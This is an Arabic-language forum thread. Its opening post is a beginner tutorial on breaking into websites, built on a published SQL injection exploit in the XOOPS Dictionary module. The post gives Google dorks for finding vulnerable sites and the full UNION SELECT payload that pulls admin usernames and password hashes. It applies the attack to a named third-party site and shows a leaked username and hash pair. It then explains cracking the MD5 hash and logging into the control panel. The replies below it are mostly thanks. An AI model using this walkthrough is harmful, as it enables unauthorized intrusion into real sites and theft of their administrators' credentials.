إخترااااااق المنتديات
 

[hide]تعلم قراءة الثغرات وأختراق المواقع والمنتديات(ادخل مبتدء وأطلع مبدع)

هذا الدرس يـ اخوان الى المبتدئين
يعني المحترفين ما راح يحتاجو الى هذا الدرس
هذا الدرس فقط يساعدك في فهم ومعرفة الثغرات المكتوبه وطريقة الإستفاده منها
الان


نروح الى احد مواقع الثغرات الكثيره
وانا اخترت الميل ورم لانه اسهل واحد
نفتح الصفحة الرئيسيه للموقع

http://www.milw0rm.com/

الي يهمنا في هذي الصفحة هو اختراق المواقع بما ان حنى مبتدئين
الا هي
ثالث خيار

الي لونهم بـ الاصفر
هذول جدد بـ تاريخ اليوم
والي لونهم اخضر يعني اقدم
وطبعا التاريخ مكتوب على جنب
انا بختار وحدة من الثغرات الموجوده
و اخترت هذي الثغره
XOOPS Module Dictionary <= 0.94 Remote SQL Injection Vulnerability
مكتوب فيها كـ التالي

كود:
##########################################
#
# XOOPS Module dictionary(0.94-0.91-0.70)SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAİL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "modules/dictionary"
#
# DORK 2 : allinurl: "modules/dictionary/print.php?id"
#
###########################################
EXPLOIT :

modules/dictionary/print.php?id=-9999999/**/union/**/select/**/concat(uname,0x3a,pass),concat(uname,0x3a,pass)/**/from/**/xoops_users/*
###########################################
Dictionary Version 0.94 by nagl.ch
Dictionary Version 0.91 by nagl.ch
Dictionary Version 0.70 by nagl.ch
###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-17]


طيب نشرح شوي شوي
الجزء الاول




كود:
XOOPS Module dictionary(0.94-0.91-0.70)SQL Injection

هذي معلومات عن الثغره
نوعيتها و وين الثغره موجوده و في اي اصدار
طيب
الثغره هذي في سكريبت اسمه XOOPS
وهذي مجله طبعا
على اية حال الثغره في dictionary
الا هو الدليل
والاصدارات هي
0.94-0.91-0.70
والبيانات الي بتجي هذي غير مهمه بـ النسبه لنا
وهي معلومات عن مكتشف الثغره


كود:
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAİL : hackturkiye.hackturkiye@gmail.com
############################################
والان اهم جزئين
الجزء الاول الدورك

###########################################

كود:
#
# DORK 1 : allinurl: "modules/dictionary"
#
# DORK 2 : allinurl: "modules/dictionary/print.php?id"
#شنو هذا الدورك
هذي الكلمه الي راح تحطها في كلمة البحث عشان تجيب لك المواقع المصابه بـ الثغره
فـ لو كتبت في قوقل


كود:
allinurl: "modules/dictionary"

راح يطلع لك كل المواقع الي موجود فيها هذا
على اية حال
نختار موقع من المواقع
وانا اخترت


كود:
http://www.splatinvestigations.com/m...dictionaryنروح الى الجزاء الثاني المهم
الا وهو


كود:
###########################################
EXPLOIT :

modules/dictionary/print.php?id=-9999999/**/union/**/select/**/concat(uname,0x3a,pass),concat(uname,0x3a,pass)/**/from/**/xoops_users/*
###########################################

وهذا كود الإستغلال
يعني راح ننسخ هذا الكود ونحطه في الموقع الي اخترناه
وراح يصير رابط الموقع مع الاستغلال كذا

كود:
http://www.splatinvestigations.com/m.../xoops_users/*

فورا راح يطلع لنا اليوزر والباسوورد لمدير الموقع
طبعا الموضوع ما ينتهي هنا
الباسوورد مشفر بـ الـ MD5
والـ MD5 هذا نوع من انوع التشفير وهو نوعا ما
لكن البرامج ما قصرت و تقدرو بـ اي برنامج فك باسووردات MD5 انكم تفكو الهاش الي يطلع لكم
على اية حال الان الباسوورد طلع لنا مشفر مع الاسم
يعني الباسوورد مشفر والاسم موجود جنبه
وهم كذا
ARC-753: a19010808cc277ac5cc50548d7a61e8e
الي بـ الون الاحمر هذا الباسوورد المشفر
والي بـ الازرق هذا اسم مدير الموقع الي راح تدخل به لوحة التحكم بعد ما تفك التشفير
النقطتين الرئسيتين فقط لتفريق بينهم
بعد ما تفك باسوورد الموقع
تدخل لوحة تحكم الموقع وتسوي الي يعجبك


بس لا تجربوا على موقعكم هههههه[/hide]

مشكووووووووووووووووور

شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .

شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .

شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .

مشكووووووووووووووور اخي الغالي

وان شاء الله يكون البرنامج رائع

لاننا بالصراحة مع الملفات دي المخفية

ما عاد بقينا نعرف شيء....

على العموم الف شكر لك على المجهود...

ارق التحايا لك،،

يعطيك العافيه اخي الرعـــــد
مودتي

مشكووووووووووووووور على الطرح

صقر شبوة

البدوي


القلب الابيض


بندر البدراني

صقر خورة


المهاجر الجريح


سلطان خورة

صقر شبوه



اسعدني تواجدكم

نورتوا

شكراً لردودكم وتفاعلكم ,,حتى لو ردي جاء متاخر لاني لما كنت عضو ما كنت اقدر ادخل الموضوع

مشكور اخوي

يعطيك العافية


http://www5.0zz0.com/2009/06/17/11/742136509.gif

دمت بخير

العفو




اسعدني تواجدك

واياك يارب



اسعدني تواجدك

نورت

ممكن توضح لنا طريقة استخراج

الاكواد

تحياتي

استخراج الاكواد من موقع

ميل وورم


www.milw0rm.com

شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .

الاسد الجريح


اسعدني تواجدك شكراً لك

The Thunder
http://akhawat.islamway.com/forum/up...1188455646.gif

الله يسلمك

نورتي الصفحة بتواجدك يا الغلا

[gdwl]
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .
ألف مبروك .. لقد سعدت بهذا الخبر
[/gdwl]

وعليكم السلام ورحمة الله وبركاته....

اهلا وسهلا

بالرغم اني ولا فهمت شيء

سلام